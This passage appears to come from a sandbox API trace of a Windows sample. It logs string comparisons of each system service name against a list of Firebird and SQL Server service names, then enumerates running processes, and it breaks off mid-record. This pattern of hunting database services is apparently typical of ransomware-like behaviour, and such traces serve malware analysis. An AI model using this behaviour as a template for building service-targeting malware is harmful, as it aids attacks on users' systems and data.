lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0146.872] lstrlenW (lpString="DoSvc") returned 5 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0146.872] lstrlenW (lpString="DPS") returned 3 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0146.872] lstrlenW (lpString="DusmSvc") returned 7 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0146.872] lstrlenW (lpString="EventLog") returned 8 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0146.872] lstrlenW (lpString="EventSystem") returned 11 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0146.872] lstrlenW (lpString="gpsvc") returned 5 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0146.872] lstrlenW (lpString="iphlpsvc") returned 8 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0146.873] lstrlenW (lpString="KeyIso") returned 6 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0146.873] lstrlenW (lpString="LanmanServer") returned 12 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0146.873] lstrlenW (lpString="LanmanWorkstation") returned 17 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0146.873] lstrlenW (lpString="lfsvc") returned 5 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0146.873] lstrlenW (lpString="LicenseManager") returned 14 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0146.873] lstrlenW (lpString="lmhosts") returned 7 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0146.873] lstrlenW (lpString="LSM") returned 3 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0146.873] lstrlenW (lpString="MpsSvc") returned 6 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0146.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0146.873] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0146.873] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0146.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0146.873] lstrlenW (lpString="NcbService") returned 10 [0146.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0146.874] lstrlenW (lpString="netprofm") returned 8 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0146.874] lstrlenW (lpString="NlaSvc") returned 6 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0146.874] lstrlenW (lpString="nsi") returned 3 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0146.874] lstrlenW (lpString="PcaSvc") returned 6 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0146.874] lstrlenW (lpString="PlugPlay") returned 8 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0146.874] lstrlenW (lpString="Power") returned 5 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0146.874] lstrlenW (lpString="ProfSvc") returned 7 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0146.874] lstrlenW (lpString="RpcEptMapper") returned 12 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.874] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0146.874] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0146.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0146.874] lstrlenW (lpString="RpcSs") returned 5 [0146.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0146.875] lstrlenW (lpString="SamSs") returned 5 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0146.875] lstrlenW (lpString="Schedule") returned 8 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0146.875] lstrlenW (lpString="SecurityHealthService") returned 21 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0146.875] lstrlenW (lpString="SENS") returned 4 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0146.875] lstrlenW (lpString="ShellHWDetection") returned 16 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0146.875] lstrlenW (lpString="sppsvc") returned 6 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0146.875] lstrlenW (lpString="SSDPSRV") returned 7 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0146.875] lstrlenW (lpString="StateRepository") returned 15 [0146.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0146.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0146.875] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0146.875] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0146.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0146.876] lstrlenW (lpString="SysMain") returned 7 [0146.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0146.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0146.876] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0146.876] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0146.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0146.876] lstrlenW (lpString="SystemEventsBroker") returned 18 [0146.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0146.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0146.876] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0146.876] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0146.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0146.876] lstrlenW (lpString="Themes") returned 6 [0146.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0146.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0146.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0146.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0146.876] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0146.881] Process32FirstW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.882] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0146.882] lstrlenW (lpString="System") returned 6 [0146.882] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0146.883] lstrlenW (lpString="smss.exe") returned 8 [0146.883] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.883] lstrlenW (lpString="csrss.exe") returned 9 [0146.883] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.074] lstrlenW (lpString="wininit.exe") returned 11 [0147.074] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.075] lstrlenW (lpString="csrss.exe") returned 9 [0147.075] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.075] lstrlenW (lpString="winlogon.exe") returned 12 [0147.075] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.076] lstrlenW (lpString="services.exe") returned 12 [0147.076] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.076] lstrlenW (lpString="lsass.exe") returned 9 [0147.076] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.076] lstrlenW (lpString="svchost.exe") returned 11 [0147.076] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0147.077] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0147.077] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0147.077] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0147.077] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.078] lstrlenW (lpString="svchost.exe") returned 11 [0147.078] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.078] lstrlenW (lpString="dwm.exe") returned 7 [0147.078] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.078] lstrlenW (lpString="svchost.exe") returned 11 [0147.079] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.079] lstrlenW (lpString="svchost.exe") returned 11 [0147.079] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.079] lstrlenW (lpString="svchost.exe") returned 11 [0147.079] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.080] lstrlenW (lpString="svchost.exe") returned 11 [0147.080] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.080] lstrlenW (lpString="svchost.exe") returned 11 [0147.080] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.081] lstrlenW (lpString="svchost.exe") returned 11 [0147.081] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.081] lstrlenW (lpString="svchost.exe") returned 11 [0147.081] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.081] lstrlenW (lpString="svchost.exe") returned 11 [0147.082] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.082] lstrlenW (lpString="svchost.exe") returned 11 [0147.082] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.082] lstrlenW (lpString="svchost.exe") returned 11 [0147.082] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.083] lstrlenW (lpString="svchost.exe") returned 11 [0147.083] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, 